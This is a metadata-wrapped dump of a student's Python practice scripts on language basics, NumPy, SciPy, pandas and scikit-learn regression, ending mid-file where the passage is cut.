"is_vendor": false, "language": "Python", "length_bytes": 2253, "license_type": "no_license", "max_line_length": 89, "num_lines": 81, "path": "/MultipleRegression.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 09 12:28:37 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#import the librares\r\nimport numpy as np\r\nimport pandas as ps\r\nimport matplotlib.pylab as mp\r\n\r\n#import the data set\r\ndataset=ps.read_csv(\"50_Startups.csv\")\r\n\r\n#partion dependent and independent varialbel\r\nx=dataset.iloc[:,:-1].values\r\ny=dataset.iloc[:,4]\r\n\r\n\r\n#Create dummy variables for categorical data\r\nfrom sklearn.preprocessing import LabelEncoder,OneHotEncoder\r\nlabelEnocde = LabelEncoder()\r\nx[:,3] = labelEnocde.fit_transform(x[:,3])\r\nonehotEncode=OneHotEncoder(categorical_features=[3])\r\nx=onehotEncode.fit_transform(x).toarray()\r\n\r\n#remove one feature from dummy variable data so no correlation occurs b/w dummy variables\r\nx=x[:,1:]\r\n\r\n#partion train adn test data for generating a model\r\nfrom sklearn.cross_validation import train_test_split\r\nx_train,x_test,y_train,y_test = train_test_split(x,y,test_size=0.2)\r\n\r\n#Feature scaling will be done by model itself\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor=LinearRegression()\r\nregressor.fit(x_train,y_train)\r\n\r\n\r\n#predict the test data with model\r\ny_pred=regressor.predict(x_test)\r\n\r\n#import stats model for generating model and to interpt the result\r\nimport statsmodels.formula.api as sm\r\nx=np.append(arr=np.ones((50,1),dtype=np.int),values=x,axis=1)\r\n\r\n#created dataframe for backward propagation\r\nx_opt=x[:,[0,1,2,3,4,5]]\r\n\r\n#create linear regression with sm library\r\nregressor_OLS=sm.OLS(endog=y,exog=x_opt).fit()\r\nregressor_OLS.summary()\r\n\r\n#created dataframe for backward propagation\r\nx_opt=x[:,[0,1,3,4,5]]\r\n\r\n#create linear regression with sm library\r\nregressor_OLS=sm.OLS(endog=y,exog=x_opt).fit()\r\nregressor_OLS.summary()\r\n\r\n#created dataframe for backward propagation\r\nx_opt=x[:,[0,3,4,5]]\r\n\r\n#create linear regression with sm library\r\nregressor_OLS=sm.OLS(endog=y,exog=x_opt).fit()\r\nregressor_OLS.summary()\r\n\r\n#created dataframe for backward propagation\r\nx_opt=x[:,[0,3,5]]\r\n\r\n#create linear regression with sm library\r\nregressor_OLS=sm.OLS(endog=y,exog=x_opt).fit()\r\nregressor_OLS.summary()\r\n\r\n#created dataframe for backward propagation\r\nx_opt=x[:,[0,3]]\r\n\r\n#create linear regression with sm library\r\nregressor_OLS=sm.OLS(endog=y,exog=x).fit()\r\nregressor_OLS.summary()" }, { "alpha_fraction": 0.425749808549881, "alphanum_fraction": 0.547183632850647, "avg_line_length": 12.260416984558105, "blob_id": "d12b323a5a261a68d37dcca98519c5461038a4d2", "content_id": "ebd9ee99b025843593685e5820868a812d7169cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1367, "license_type": "no_license", "max_line_length": 56, "num_lines": 96, "path": "/Class2.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 16 10:07:08 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#numpy\r\nimport numpy as nm\r\na1 = nm.array([[1,2,3],[4,5,6],[7,8,9]])\r\na1\r\nnm.dtype\r\na1.dtype\r\na1.ndim\r\na1.shape #shows shape of object\r\na1.itemsize #shows memory size of each item in data type\r\na1.size\r\nprint a1[0,:]\r\nprint a1[:,:1]\r\nprint a1[:1]\r\nprint a1[:2,1:]\r\nprint a1[:,0]\r\nprint a1[1:,:2]\r\na1[0:][::-1]\r\na1[:,2]=[11,11,11]\r\na1\r\n\r\na1[:][::-1]\r\na1[::-1]\r\na1[:-1][::]\r\n\r\n#Performing Statistical Function\r\na=nm.array([2,3,5],int)\r\na.sum()\r\na.prod()\r\n\r\nnm.sum(a)\r\n\r\nnm.mean(a)\r\nnm.std(a)\r\n\r\nnm.max(a)\r\n\r\nnm.min(a)\r\nnm.sort(a)\r\nsorted(a,reverse=True)\r\n#array multiplication\r\na3 = nm.array([[1,2,3],[4,5,6],[7,8,9]])\r\na4 = nm.array(a3)\r\na7 = a3+a4\r\na5 = a3*a4\r\na6 = a3 *5\r\na6\r\na3.dot(a4)\r\n\r\n#matrix multiplication\r\na3 = nm.matrix([[1,2,3],[4,5,6],[7,8,9]])\r\na4 = nm.matrix(a3)\r\na5 = a3*a4\r\na7 = a3+a4\r\na6 = a3 *5\r\na6\r\na3.dot(a4)\r\n\r\n#floor and celing\r\nn1 = [2.4,6.7,8.9]\r\nnm.floor(n1)\r\nnm.ceil(n1)\r\n\r\nb1 = nm.array([[1,2,3],[4,5,6]])\r\nb2 = nm.array([[1,2,3],[4,5,6],[7,8,9]])\r\nb2*b1\r\nnm.dot(b1,b2)\r\n\r\n# x + y+ z=6\r\n# y+5z=-4\r\n#x+5y-z=27\r\n\r\nA=nm.array([[1,1,1],[0,1,5],[1,5,-1]])\r\nA1=A.copy\r\nA2=A\r\nA1\r\nA2\r\n\r\nB=nm.array([[6],[-4],[27]])\r\nAI=nm.linalg.inv(A)\r\nx=nm.dot(AI,B)\r\nx\r\nx1 = nm.linalg.solve(A,B)\r\nhelp(nm.linalg)\r\nhelp(nm.mod)\r\n\r\nhelp(nm.matrix)\r\n\r\nhelp(nm.mat)\r\nnm.m" }, { "alpha_fraction": 0.7238466739654541, "alphanum_fraction": 0.7433398365974426, "avg_line_length": 24.11864471435547, "blob_id": "d26316d03aa86cb2a3c83ae0c7f8d0aecbf4476d", "content_id": "e839cc5f7b4aaae36a95aa3e12e6fdcc89ac01de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1539, "license_type": "no_license", "max_line_length": 75, "num_lines": 59, "path": "/PloynomialRegression.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jun 10 14:40:23 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#Polynomial Regression\r\n\r\n#import the packages \r\nimport numpy as np\r\nimport pandas as ps\r\nimport matplotlib.pyplot as plt\r\n\r\n#import the packages\r\ndataset = ps.read_csv(\"Position_Salaries.csv\")\r\n\r\n#partion the depenent and independent variables for vreating a model\r\nx = dataset.iloc[:,1:2]\r\ny=dataset.iloc[:,-1]\r\n\r\n#Here we have very less data so we gonna use all data for prediction \r\n#we can use cocept leave one out\r\n\r\n#import sklearn and polynomial regression\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor = LinearRegression()\r\nregressor.fit(x,y)\r\n\r\n\r\n#Import polynomial regression from poly regression\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nregressor1 = PolynomialFeatures(3)\r\nx_poly=regressor1.fit_transform(x)\r\nregressor1.fit(x_poly,y)\r\n#For comparing create model of linear regression with same data and interpt\r\nregressor3 = LinearRegression()\r\nregressor3.fit(x_poly,y)\r\n\r\n#Visualizng the data\r\nplt.scatter(x,y,color='red')\r\nplt.plot(x,regressor.predict(x),color = 'blue')\r\nplt.show()\r\nplt.title(\"Truth vs Bluf\")\r\nplt.xlabel(\"EXPERIENCE\")\r\nplt.ylabel(\"Salary\")\r\n\r\n#Visualize for ploy regression\r\nplt.scatter(x,y,color='red')\r\nplt.plot(x,regressor3.predict(regressor1.fit_transform(x)),color='blue')\r\nplt.show()\r\nplt.xlabel(\"EXPERIENCE\")\r\nplt.ylabel(\"Salary\")\r\n\r\n#prediction for ploy regression\r\nregressor3.predict(regressor1.fit_transform(6.5))\r\n\r\n#predict for linear regression\r\nregressor.predict(6.5)" }, { "alpha_fraction": 0.49312809109687805, "alphanum_fraction": 0.5684441924095154, "avg_line_length": 16.393939971923828, "blob_id": "738c75dba973212d66c722909e1af3399dabeb14", "content_id": "2ae53c655e5822aba3d0a2beacb7e66e924f3bf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1819, "license_type": "no_license", "max_line_length": 73, "num_lines": 99, "path": "/pythonassingbasic.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb 22 23:00:34 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#Basic programming \r\n#1.orint data which is less than 5\r\na = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89,4]\r\nfor i in range(1,len(a)):\r\n if(a[i] < 5):\r\n print a[i]\r\n##print values which is less than 5 and store it in another list\r\na1=[]\r\nfor i in range(1,len(a)):\r\n if(a[i] < 5):\r\n a1.append(a[i])\r\n\r\nprint a1\r\n\r\n###write this in one line of python\r\n#with user input enter number\r\na5=[]\r\na2 = raw_input()\r\nv1 = int(a2)\r\nfor i in range(1,len(a)):\r\n if(a[i] < v1):\r\n a5.append(a[i])\r\n\r\nprint a5\r\n\r\n#slice values of 20 and 25\r\na6 = [5, 10, 15, 20, 25, 30, 35, 40] \r\na6[3:5]\r\n\r\n\r\n#write program for fibonnaci series and seperate by commas\r\nvalue=1000\r\nn1=0\r\nn2=1\r\nprint n1\r\nprint n2\r\nfor i in range(2,value):\r\n n3=n1+n2\r\n if(n3 > 1000):\r\n break\r\n else:\r\n print n3\r\n print ','\r\n n1=n2\r\n n2=n3\r\n \r\n\r\n#get a raw input from user and calulate their age\r\nname = raw_input()\r\na10 = raw_input()\r\nage = int(a10)\r\nestimate = 100-age\r\nprint \"Number of years it will take take for you to reach 100:\",estimate \r\n \r\n \r\n#sum numbers which is odd\r\nimport numpy as np\r\nz1 = np.arange(0,100)\r\nsum=0\r\nfor i in range(0,100):\r\n if(z1[i] % 2 != 0):\r\n sum+=z1[i]\r\n \r\nprint sum\r\n\r\n\r\n#palindrom of string\r\n#a = \"HelloWorld\"\r\na=raw_input()\r\nb=[]\r\nc = list(a)\r\nfor i in range(1,len(c)):\r\n b.append(c[-i]) \r\nb.append(c[0])\r\n\r\nif(c == b):\r\n print \"This string is a palindrome\"\r\nelse:\r\n print \"String is not a palindrome\"\r\n \r\n \r\n#7create a string and conert to upper case and print in reverse order\r\nu1 = \"GIS Programming\" \r\nu2 = u1.upper()\r\nu3 = list(u2)\r\nu4=[]\r\nprint len(u3)\r\nfor i in range(1,len(u3)):\r\n u4.append(u3[-i])\r\nu4.append(u3[0])\r\n\r\nprint u4" }, { "alpha_fraction": 0.5263327956199646, "alphanum_fraction": 0.5890145301818848, "avg_line_length": 18.925676345825195, "blob_id": "f04ddc288d66999959080fb8c7bc305828f4f9c1", "content_id": "f7b469268aa14b203cf8673db3dde49ad4e787eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3107, "license_type": "no_license", "max_line_length": 72, "num_lines": 148, "path": "/Assignment1 - Copy.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 06 15:43:02 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n##1.What is 7 to the power of 4?\r\n\r\nx = 7**4\r\nprint(x)\r\n\r\n##2.Split this string:\"Hi there Sam!\"\r\ns = \"Hi there Sam!\"\r\nb = s.split()\r\nprint(b)\r\n\r\n\r\n#3.create a string and returns true if word is there in string\r\ndef fstring(a1):\r\n str1 = \"dog\"\r\n print(str1 in a1)\r\n \r\n \r\nfstring('Is there a dog here?')\r\n\r\n\r\n#4.create a function to count dog in string\r\ndef fstring1(a2):\r\n str2 = 'dog'\r\n print a2.count(str2)\r\n \r\nfstring1('This dog runs faster than the other dog dude!')\r\n\r\n#5.hig speed police problem\r\ndef speed(s,b):\r\n if(s<60 and b == 0):\r\n print(\"No ticket\")\r\n elif(s<65 and b == 1):\r\n print(\"No Ticket\")\r\n elif(s>61 and s<81 and b == 0):\r\n print(\"small ticket\")\r\n elif(s>61 and s<86 and b == 1):\r\n print(\"small ticket\")\r\n elif(s>81 and b == 0):\r\n print(\"big ticket\")\r\n else:\r\n print(\"big Ticket\")\r\n \r\nspeed(65,1)\r\nspeed(76,0)\r\nspeed(84,1)\r\nspeed(90,1)\r\n\r\n\r\n#6 . use lamda function and fliter values in list\r\nmy_list = ['soup','dog','salad','cat','great']\r\nnew_list = list(filter(lambda x: x.find(\"s\") , my_list))\r\nprint(new_list)\r\n\r\n\r\n#7.write a code in list to create rainbow colors\r\nlist1 = [\"Violet\",\"red\",\"orange\",\"yellow\",\"green\",\"blue\",\"indigo\"]\r\nprint(list1)\r\n\r\n#8.write a code to add two strings\r\nstr2 = \"abc\"\r\nstr3 = \"def\"\r\n#method 1 to use +sign\r\nstr4 = str2+str3\r\n#use concat method\r\nstr5 = (\"ab\",\"bc\")\r\nprint str2.join(str5)\r\nprint(str4)\r\n\r\n\r\n#9.easiet way print same string 10 times\r\nstr7 = \"abc\"\r\nstr7*10\r\n\r\n#10. write a code to add new elements in list\r\naList = [123, 'xyz', 'zara', 'abc'];\r\naList.append( 2009 );\r\nprint \"Updated List : \", aList\r\n\r\n\r\n#11 celcius to Fahrenheit \r\nc=37.5\r\nprint (lambda f : (c * 1.8) + 32)\r\n\r\n\r\n\r\n#12.code for odd or even\r\ndef oddeven(x):\r\n if(x % 2 == 0):\r\n print(\"Even number\" , x)\r\n else:\r\n print(\"odd number\" , x)\r\n \r\noddeven(7)\r\n \r\n\r\n#13.remove 4th element in the list\r\naList = [123, 'xyz', 'zara', 'abc'];\r\naList.remove(aList[3])\r\nprint(aList)\r\n\r\n#14.insert element in 6th position\r\nl8 = [1,2,3,4,5,6,7,8,9]\r\nl8.insert(5,56)\r\nprint l8\r\n\r\n\r\n#15 Identify the following data types\r\nA = (1, 2, 3) #tuple\r\nB = [1,2,3] #list\r\n\r\n#C = {‘Name’: ‘Saikat’, ‘Age’:49} #dictionary which has key and value\r\n\r\n\r\n#16write code to print 1 to 100 using range\r\nfor i in range(1,101):\r\n print(i)\r\n \r\n\r\n#17 write code to sort list\r\nlist1=[10,50,13,'rahul','aakash'] \r\nlist1.sort() \r\nprint list1 \r\n\r\n\r\n#18.which of the list immutable\r\n##tuple is the list which is immutable \r\n\r\n#19How to delete all contents i dictionary\r\ndict1 = {\"Fname\" : \"Vigneshwar\",\"Lname\" : \"Thiyagarajan\" , \"Age\" : \"21\"}\r\ndel dict1\r\n\r\n#20 code to display largest of three numbers\r\ndef bnumber(a1,a2,a3):\r\n if(a1>a2 and a1>a3):\r\n print(\"A1 Value is biggest of three numbers\")\r\n elif(a2>a1 and a2>a3):\r\n print(\"A2 Value is biggest of three numbers\")\r\n else:\r\n print(\"A3 Value is biggest of three numbers\")\r\n \r\nbnumber(45,65,76)" }, { "alpha_fraction": 0.5464584827423096, "alphanum_fraction": 0.6054836511611938, "avg_line_length": 16, "blob_id": "e8651d5e3ed3a3dfd96e03ba0002a7aa9b519535", "content_id": "6bcfe1ed1aa1d694ac5ea88fab2af9ee982344d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2626, "license_type": "no_license", "max_line_length": 68, "num_lines": 146, "path": "/Basic python.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 09 10:15:16 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n#addition\r\nx = 1+2**3/4*5\r\n#divison of float\r\ny = 3.0/2\r\n#data type of value0\r\ntype(y)\r\n#type conversion\r\nf = int(y)\r\ntype(f)\r\n#perfoming string with error\r\nn=(\"123\")\r\nn1 = 5\r\nn3 = int(n)\r\nn2 = n1+n3\r\nprint(n2)\r\n\r\n#addition of two numbers explicitly\r\nnum1 = input(\"Enter no1:\")\r\nnum2 = input(\"Enter no 2:\")\r\nnum3 = num1+num2\r\nnum3\r\ntype(num3)\r\n\r\n#string methods\r\na = \"this is is a good\"\r\na.count(\"is\")\r\na.capitalize()\r\na.center(30)\r\nc = a.encode\r\nc\r\nd = c.decode\r\nd\r\n\r\n#string an array\r\na = \"Hello\"\r\na[1:3]\r\na[1:]\r\na[:]\r\na[-3:]\r\na[-4:-1]\r\na[1:-3]\r\n\r\n#3 numbers\r\ndef bnumber(a1,a2,a3):\r\n if(a1>a2 and a1>a3):\r\n print(\"A1 Value is biggest of three numbers\")\r\n elif(a2>a1 and a2>a3):\r\n print(\"A2 Value is biggest of three numbers\")\r\n else:\r\n print(\"A3 Value is biggest of three numbers\")\r\n \r\nbnumber(45,65,76)\r\n\r\n\r\n\r\n#factorail of number\r\ndef factnumber(x):\r\n\r\n if(x<0):\r\n print \"Not eligible for factorial\"\r\n elif(x == 0):\r\n print 1\r\n else:\r\n fact=1\r\n i = 1\r\n while(i <= x):\r\n fact = fact*i\r\n i=i+1\r\n return fact\r\n \r\nprint factnumber(5)\r\n\r\n#range example\r\nr = range(1,10)\r\ntype(r)\r\n \r\n #for example\r\n for i in range(1,20,2):\r\n print i \r\n#in example which returns true or false\r\n 3 in r\r\n \r\n#if in example which returns boolean value and can give condition\r\nif 3 in r:\r\n print \"Great Bhairav jain\"\r\n \r\n \r\n#example of list operations in append and extend\r\nlist = [1,2,34,5,6]\r\n1 in list #checks in list and return true or false\r\nlist.append(55) #insert value at last\r\nlist.extend([7,8,9]) #will take in list to insert values in list\r\nlist.extend([10])\r\nlist.insert(3,0) #based on index values will be inserted\r\nlist.pop(3) #remove last value or else based on index it will remove\r\nlist.remove(2) #remove values based on values in list\r\n\r\n\r\n#sorting\r\nprint sorted(list,reverse = True)\r\nprint sorted(list,reverse = False)\r\n\r\n#tuple\r\ntuple1 = (1,2,3,45)\r\n#its imutable\r\n\r\n#dictionary\r\nb1 = {\"Fname\":\"Vigneshwar\",\"Lname\":\"Thiyagarajan\"}\r\nb1[\"Fname\"]=\"Viggy\"\r\nb1.pop(\"Viggy\")\r\ndel b1[\"Fname\"]\r\nb1[\"Firstname\"] = b1.pop(\"Fname\")#its mutable \r\n\r\n\r\n#inbuild function\r\na3 = 12345\r\nprint bin(a3)\r\nprint oct(a3)\r\nprint hex(a3)\r\n\r\n\r\n#lamda function\r\na = lambda x,y:x+y\r\nc = a(2,3)\r\n\r\n#celcius to farenheit\r\ncelcius = [28,29,34.34,32,63]\r\n#map function\r\nf = map(lambda x:(float(9)/5)*x+32,celcius)\r\nf\r\n\r\n#reduce function\r\nce = [1,2,3,4,5]\r\nf1 = reduce(lambda x,y:x+y,ce)\r\nf1\r\n\r\n\r\n#filter\r\nfi1 = filter(lambda x:x==2,ce)\r\nfi1" }, { "alpha_fraction": 0.7181328535079956, "alphanum_fraction": 0.7369838356971741, "avg_line_length": 25.219512939453125, "blob_id": "3c7f5a47d9be057fc7b23eed3b879aadeaca543e", "content_id": "009e64ed9fe70400f99125f5f32d2e199b6cd043", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1114, "license_type": "no_license", "max_line_length": 87, "num_lines": 41, "path": "/LogisticRegression.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 13 11:15:29 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#Logstic Regression\r\nimport pandas as ps\r\nimport numpy as np\r\nimport matplotlib.pyplot as mp\r\n\r\n\r\n#import the data set\r\ndataset = ps.read_csv(\"Social_Network_Ads.csv\")\r\n\r\n#partioion independent and dependent variables\r\nx = dataset.iloc[:,2:4]\r\ny = dataset.iloc[:,4]\r\n\r\n#partion data for train and test\r\nfrom sklearn.cross_validation import train_test_split\r\nx_train,x_test,y_train,y_test = train_test_split(x,y,test_size = 0.25,random_state = 0)\r\n\r\n#Do feature scaling for preprocessing\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nmm_s = MinMaxScaler()\r\nx_train = mm_s.fit_transform(x_train)\r\nx_test = mm_s.fit_transform(x_test)\r\n\r\n#Generate a model for classification prediction\r\nfrom sklearn.linear_model import LogisticRegression\r\nclassifier = LogisticRegression(random_state = 0)\r\nclassifier.fit(x_train,y_train)\r\n\r\n#prediction for test dataset\r\ny_pred = classifier.predict(x_test)\r\n\r\n#Draw confusion matrix to find the result\r\nfrom sklearn.metrics import confusion_matrix\r\ncm = confusion_matrix(y_test,y_pred)" }, { "alpha_fraction": 0.4987277388572693, "alphanum_fraction": 0.5962679982185364, "avg_line_length": 13.285714149475098, "blob_id": "dac776f648ae67c9e6ecfc76308c0e9f8ada066e", "content_id": "9d3b2069e0ea78364f6bb2c238bfbbd8a08aa1c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1179, "license_type": "no_license", "max_line_length": 47, "num_lines": 77, "path": "/practise1.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Feb 04 23:46:15 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#1.factorial of n numbers\r\nn=5\r\nsum = 1\r\nfor i in range(1,n+1):\r\n sum =sum*i\r\n \r\nsum\r\n\r\n#2.fibonnaci\r\nn1=0\r\nn2=1\r\ncal = 10\r\nprint n1\r\nprint n2\r\nfor i in range(2,cal):\r\n n3=n1+n2\r\n print n3\r\n n1=n2\r\n n2=n3\r\n\r\n#reverse a number\r\nnumber = 123\r\nn1=0\r\nwhile(number > 0 ):\r\n n=number%10\r\n n1=(n1*10)+n\r\n number=number//10\r\n\r\n#\r\n#\r\nimport numpy as np\r\nimport pylab as py\r\nx=[1,2,3,4,5]\r\ny=[12,14,2,16,3]\r\nx1=py.plot(x,y)\r\npy.show(x1)\r\nhelp(py.plot)\r\n\r\n#plot\r\nx2 = np.random.rand(100)\r\npy.plot(x2)\r\nx3=np.random.randn(100)\r\npy.plot(x4)\r\nx4 = x3.py.hist\r\nx4\r\nx=np.linspace(-np.pi,np.pi,256,endpoint = True)\r\nc=np.cos(x)\r\ns=np.sin(x)\r\nt=np.tan(x)\r\npy.plot(x,s)\r\npy.plot(x,c)\r\nhelp(np.linspace)\r\nhelp(py.plot)\r\n\r\n#histogram\r\npy.hist(np.random.randn(100))\r\nimport matplotlib.pyplot as ml\r\n#histogram\r\ndata = np.random.randn(100)\r\nf,(ax1,ax2) = ml.subplots(1,2,figsize=(6,3))\r\nax1.hist(data,bins=30,normed=True,color = 'b')\r\nax2.hist(data,bins=30,color='r')\r\n\r\n#subplots\r\na = [1,2,3,4,5]\r\nb = [6,7,8,9,1]\r\npy.subplot(1,1,1)\r\npy.plot(a)\r\npy.subplot(2,1,1)\r\npy.plot(b)\r\n\r\n" }, { "alpha_fraction": 0.42903751134872437, "alphanum_fraction": 0.5513865947723389, "avg_line_length": 11.204300880432129, "blob_id": "7065e66b5afcd0781ba3089978210e5e405ef18b", "content_id": "bd7684d77eee2605123556334a54da2f62f3e6f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1226, "license_type": "no_license", "max_line_length": 68, "num_lines": 93, "path": "/practise2.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 09 21:56:15 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n#1\r\nx = 3\r\ntype(x)\r\n\r\n#2\r\nx1=[1,2,3,4]\r\ntype(x1)\r\nx1.insert()\r\n\r\nx2 = 1.2\r\ntype(x2)\r\n\r\nx3 = (2,3,4,5)\r\ntype(x3)\r\nx3.insert(6)\r\n\r\n#3\r\na1 = True\r\na2 = False\r\na1 and a2\r\nnot a1\r\na1 != a2\r\n\r\n#4\r\nb1 = 'Hello'\r\nb2 = \"World\"\r\nprint 'abc'\r\nprint b1+\" \"+b2\r\nb1.capitalize()\r\nb1.upper()\r\nb1.decode()\r\nb1.endswith(\"1\")\r\nb1.find(\"l\")\r\nb1.rjust(10)\r\nb1.center(20)\r\nb1.replace(\"l\",\"1234\"[3])\r\n\r\n#5\r\nc1 = [1,2,3,4]\r\nc1.append([5,6,7,8])\r\nc1.pop(1)\r\nc1[0]=\"Hello\"\r\nc1[-3]\r\nc1[:2]\r\nc1[2:4]\r\nc1[1:]\r\nc1[-1:]\r\nc1[-0:-2]\r\nc1[-1:-0]\r\nc1[-2]\r\nlen(c1)\r\nshape(c1)\r\nc1.shape()\r\n#6\r\nd1 = range(1,100)\r\nfor i in enumerate(d1):\r\n print i\r\n\r\n#list\r\nc2 = []\r\nfor a in c1:\r\n c2.append(a**2)\r\n \r\nprint(c2)\r\n\r\n#7\r\nd1 = {'Virat':'Kholi',\"MS\":\"Dhoni\",\"Ab\":\"Dev\"}\r\nd1['Virat']\r\nd1['Kholi']#throws error\r\nd1[\"Yuvi\"]=\"Singh\"\r\nd1[1]#throws error when trying to acces through index for dictionary\r\ndel d1['Virat']\r\nd1.get(\"MS\")\r\n\r\n#8Numpy package working and function\r\nimport numpy as np\r\ne1 = np.array([1,2,3])\r\ntype(e1)\r\ne1.shape()\r\nnp.shape(e1)\r\nnp.rank(e1)\r\ne2 =np.array( [[1,2,3],[4,5,6]])\r\nnp.shape(e2)\r\nprint e2[0,1],e2[0,2]\r\ntype(e2)\r\nnp.rank(e2)\r\ntype(e2)" }, { "alpha_fraction": 0.5992010831832886, "alphanum_fraction": 0.6744340658187866, "avg_line_length": 23.491525650024414, "blob_id": "af18c6cdce54a91e280daea14ac24382b0cf97b8", "content_id": "cc6038b4bde2cb1419ca4703546ac96b383dd0d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1502, "license_type": "no_license", "max_line_length": 111, "num_lines": 59, "path": "/VigneshwarScipy.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 17 14:51:27 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#scipy assingment\r\nimport pandas as ps\r\nimport scipy as sp\r\na2 = sp.matrix('[2 3 4;7 6 5;1 2 3]')\r\nsp.linalg.det(a2)\r\n\r\n#2.Take 3*3 matrix and perform slicing operations\r\nimport numpy as np\r\na3 = sp.array([[1,2,3],[4,5,6],[7,8,9]])\r\na4 = sp.matrix(a3)\r\nprint a4[1:3,0:3] #prints 2nd row and 3rd row\r\nprint a4[0:3,1] #prints second column\r\na4[0,0:3]=[1,2,3] #replace old values with new values\r\n\r\n\r\n#3.Demonstrate statistical function using scipy\r\na1 = [1,2,3,4,5,6,7,8,9,10]\r\nsp.mean(a1) #calculates mean\r\nsp.std(a1) #calculates standard deviation\r\nsp.var(a1) #calculate variance\r\nsp.amax(a1) #calculate min value\r\nsp.amin(a1) #return max value\r\na2 = sp.histogram(a1) #will give frequency distribution\r\nsp.median(a1) #will give median value\r\n\r\n#4.\r\nfrom scipy.integrate import quad\r\ni=sp.integrate.quad(lambda x:si.special.jv(2.5,x),0,4.5)\r\n\r\n#5.solve linear algebra question\r\n#linear algebra\r\nA = sp.mat('[1 -2 3;2 3 1;-4 0 1]')\r\nB=sp.mat('[3;6;9]')\r\nsp.linalg.solve(A,B)\r\nsp.linalg.det(A)\r\n\r\n\r\n#extract age through date time library\r\nfrom datetime import date\r\n\r\ndef calculate_age(born):\r\n today = date.today()\r\n return today.year - born.year - ((today.month, today.day) < (born.month, born.day))\r\n\r\ncalculate_age('11-09-1991')\r\n\r\n#6.download some image from url\r\nimport urllib\r\n\r\nurllib.urlretrieve(\"http://www.digimouth.com/news/media/2011/09/google-logo.jpg\",'C:/Users/vignesht/viggy.jpg')\r\n\r\n#7." }, { "alpha_fraction": 0.5289694666862488, "alphanum_fraction": 0.6099071502685547, "avg_line_length": 25.329267501831055, "blob_id": "23b7d63e36f6ea3d5fa2c8fa090edd28743d7c92", "content_id": "256d77984f8816cc6b71311437b5e175d3a7f3fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2261, "license_type": "no_license", "max_line_length": 152, "num_lines": 82, "path": "/VigneshwarAssingment2.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 06 14:13:48 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n################\r\n##Assingment 2\r\n#1.Create two dataframe and Perform all join Operation, Concatenation and Append df1 to df4\r\nimport numpy as np\r\nimport pandas as py\r\n\r\n#Create two data frame to perfom some operations\r\ndf1 = py.DataFrame({\"A\":[\"A0\",\"A1\",\"A2\",\"A3\"],\"B\":[\"B0\",\"B1\",\"B2\",\"B3\"],\"C\":[\"C0\",\"C1\",\"C2\",\"C3\"],\"D\":[\"D0\",\"D1\",\"D2\",\"D3\"]})\r\ndf2=py.DataFrame({\"B\":[\"B2\",\"B3\",\"B6\",\"B7\"],\"D\":[\"D2\",\"D3\",\"D6\",\"D7\"],\"F\":[\"F2\",\"F3\",\"F6\",\"F7\"]})\r\n#perfoming differnt joints with help of merge\r\npy.merge(df1,df2,how='inner')\r\npy.merge(df1,df2,how='outer')\r\npy.merge(df1,df2,how='left')\r\npy.merge(df1,df2,how='right')\r\n\r\n\r\n#perform concatination operation\r\npy.concat([df1,df2])\r\n\r\n#perform appen operation\r\nnp.append(df1,df2)\r\n\r\na = [1,2,3]\r\na1 = len(a)\r\na2 = 